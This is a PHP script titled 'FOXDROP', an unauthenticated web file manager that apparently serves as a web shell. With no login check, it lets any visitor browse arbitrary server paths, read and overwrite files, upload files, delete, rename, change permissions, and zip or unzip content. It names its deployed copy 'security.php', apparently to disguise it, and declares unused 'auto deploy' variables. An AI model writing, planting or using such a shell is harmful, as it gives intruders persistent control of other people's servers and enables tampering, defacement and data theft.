<?php
// 🛡️ FOXDROP | Auto deploy + file manager
error_reporting(E_ALL);
ini_set('display_errors', 1);

// === Init
$self = __FILE__;
$deploy_name = "security.php";
$start = dirname($self);
$targets = [];

// === Init
$dir = isset($_GET['go']) ? $_GET['go'] : getcwd();
$dir = realpath($dir);
$items = scandir($dir);

// === Delete
if (isset($_GET['delete']) && isset($_GET['go'])) {
    $target = $dir . DIRECTORY_SEPARATOR . basename($_GET['delete']);
    if (is_file($target)) unlink($target);
    elseif (is_dir($target)) rmdir($target);
    echo "<p style='color:#fc4a4a'>🗑️ Deleted: " . htmlspecialchars($_GET['delete']) . "</p>";
}

// === Rename
if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) {
    $from = $dir . DIRECTORY_SEPARATOR . basename($_POST['rename_from']);
    $to = $dir . DIRECTORY_SEPARATOR . basename($_POST['rename_to']);
    if (file_exists($from)) {
        rename($from, $to);
        echo "<p style='color:#4afc4a'>✏️ Renamed successfully.</p>";
    }
}

// === Permission Changer
if (isset($_POST['perm_target']) && isset($_POST['perm_value'])) {
    $target = $dir . DIRECTORY_SEPARATOR . basename($_POST['perm_target']);
    $perm = intval($_POST['perm_value'], 8);
    if (file_exists($target)) {
        chmod($target, $perm);
        echo "<p style='color:#4afc4a'>🔐 Permissions changed to " . decoct($perm) . "</p>";
    }
}

// === Zip Folder
if (isset($_GET['zip'])) {
    $zipTarget = $dir . DIRECTORY_SEPARATOR . basename($_GET['zip']);
    $zipFile = $zipTarget . '.zip';
    if (is_dir($zipTarget)) {
        $zip = new ZipArchive();
        if ($zip->open($zipFile, ZipArchive::CREATE | ZipArchive::OVERWRITE)) {
            $files = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($zipTarget, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::SELF_FIRST
            );
            foreach ($files as $file) {
                $pathInZip = substr($file->getPathname(), strlen($zipTarget) + 1);
                $zip->addFile($file->getPathname(), $pathInZip);
            }
            $zip->close();
            echo "<p style='color:#4afc4a'>📦 Zipped: " . htmlspecialchars(basename($zipFile)) . "</p>";
        }
    }
}

// === Unzip File (Updated to extract directly into the current directory)
if (isset($_GET['unzip'])) {
    $zipPath = $dir . DIRECTORY_SEPARATOR . basename($_GET['unzip']);
    if (is_file($zipPath) && pathinfo($zipPath, PATHINFO_EXTENSION) === 'zip') {
        $zip = new ZipArchive();
        if ($zip->open($zipPath)) {
            // Extract directly to the current directory
            $zip->extractTo($dir);
            $zip->close();
            echo "<p style='color:#4afc4a'>📂 Unzipped to <code>" . htmlspecialchars($dir) . "</code></p>";
        }
    }
}

// === Edit File
if (isset($_GET['edit']) && isset($_GET['go'])) {
    $targetFile = $dir . DIRECTORY_SEPARATOR . basename($_GET['edit']);
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content_save'])) {
        file_put_contents($targetFile, $_POST['content']);
        echo "<p style='color: #4afc4a;'>💾 Saved.</p>";
    }
    $code = @file_get_contents($targetFile);
    echo "<h2>✏️ Editing: " . htmlspecialchars($_GET['edit']) . "</h2>";
    echo "<form method='post'>
        <textarea name='content' rows='20' cols='100'>" . htmlspecialchars($code) . "</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=" . urlencode($dir) . "'>🔙 Back</a>";
    exit;
}

// === Upload
if (isset($_FILES['dropfile'])) {
    $to = $dir . DIRECTORY_SEPARATOR . basename($_FILES['dropfile']['name']);
    move_uploaded_file($_FILES['dropfile']['tmp_name'], $to);
    echo "<p style='color:#4afc4a'>📤 Uploaded: " . htmlspecialchars($_FILES['dropfile']['name']) . "</p>";
}

// === Create Folder
if (isset($_POST['mkfolder']) && $_POST['mkfolder']) {
    $folder = $dir . DIRECTORY_SEPARATOR . basename($_POST['mkfolder']);
    if (!file_exists($folder)) {
        mkdir($folder);
        echo "<p style='color:#4afc4a'>📁 Folder created.</p>";
    } else {
        echo "<p style='color:#fc4a4a'>❌ Already exists.</p>";
    }
}

// === UI ===
echo "<style>
body { background:#121212; color:#ccc; font-family:monospace; padding:15px; }
a { color:#6af; text-decoration:none; }
a:hover { text-decoration:underline; }
h2 { color:#fff; }
table { border-collapse:collapse; width:100%; }
td, th { padding:4px; border:1px solid #444; }
th { background-color:#222; }
</style>";

echo "<h2>🗂️ FoxDrop Manager</h2><p><strong>Path:</strong> ";
$steps = explode(DIRECTORY_SEPARATOR, $dir);
$build = '';
foreach ($steps as $seg) {
    if ($seg === '') {
        $build .= DIRECTORY_SEPARATOR;
        echo "<a href='?go=" . urlencode($build) . "'>/</a>";
        continue;
    }
    $build .= $seg . DIRECTORY_SEPARATOR;
    echo "<a href='?go=" . urlencode($build) . "'>" . htmlspecialchars($seg) . "</a>/";
}
echo "</p><hr>";

// === File Table ===
echo "<table><tr><th>Name</th><th>Size</th><th>Permissions</th><th>Actions</th></tr>";
foreach ($items as $item) {
    if ($item === '.') continue;
    $path = $dir . DIRECTORY_SEPARATOR . $item;
    $size = is_file($path) ? filesize($path) : '-';
    $perm = substr(sprintf('%o', fileperms($path)), -3);
    $permColor = is_writable($path) ? '#4afc4a' : '#fff';

    $name = is_dir($path)
        ? "📁 <a href='?go=" . urlencode($path) . "'>" . htmlspecialchars($item) . "</a>"
        : "📄 <a href='?go=" . urlencode($dir) . "&edit=" . urlencode($item) . "'>" . htmlspecialchars($item) . "</a>";

    $actions = [];
    if (is_file($path)) {
        $actions[] = "<a href='?go=" . urlencode($dir) . "&edit=" . urlencode($item) . "'>Edit</a>";
    }
    $actions[] = "<a href='?go=" . urlencode($dir) . "&rename_from=" . urlencode($item) . "'>Rename</a>";
    $actions[] = "<a href='?go=" . urlencode($dir) . "&delete=" . urlencode($item) . "' style='color:red' onclick='return confirm(\"Delete " . htmlspecialchars($item) . "?\")'>Delete</a>";
    if (is_dir($path)) {
        $actions[] = "<a href='?go=" . urlencode($dir) . "&zip=" . urlencode($item) . "'>ZIP</a>";
    } elseif (strtolower(pathinfo($item, PATHINFO_EXTENSION)) === 'zip') {
        $actions[] = "<a href='?go=" . urlencode($dir) . "&unzip=" . urlencode($item) . "'>Unzip</a>";
    }

    echo "<tr>
        <td>$name</td>
        <td>$size</td>
        <td style='color:$permColor'>$perm</td>
        <td>" . implode(' | ', $actions) . "</td>
    </tr>";
}
echo "</table><hr>";

// === Forms
echo "<form method='post' enctype='multipart/form-data'>
<label>📤 Upload:</label> <input type='file' name='dropfile'>
<input type='submit' value='Upload'></form>";

echo "<form method='post'><label>📁 New Folder:</label>
<input type='text' name='mkfolder'><input type='submit' value='Create'></form>";

echo "<form method='post'><label>✏️ Rename:</label>
<select name='rename_from'>";
foreach ($items as $item) {
    if ($item === '.') continue;
    echo "<option value='" . htmlspecialchars($item) . "'>$item</option>";
}
echo "</select><input type='text' name='rename_to' placeholder='New name'>
<input type='submit' value='Rename'></form>";

echo "<form method='post'><label>🔐 Permissions:</label>
<select name='perm_target'>";
foreach ($items as $item) {
    if ($item === '.') continue;
    echo "<option value='" . htmlspecialchars($item) . "'>$item</option>";
}
echo "</select><input type='text' name='perm_value' placeholder='e.g. 755'>
<input type='submit' value='Change'></form>";
?>
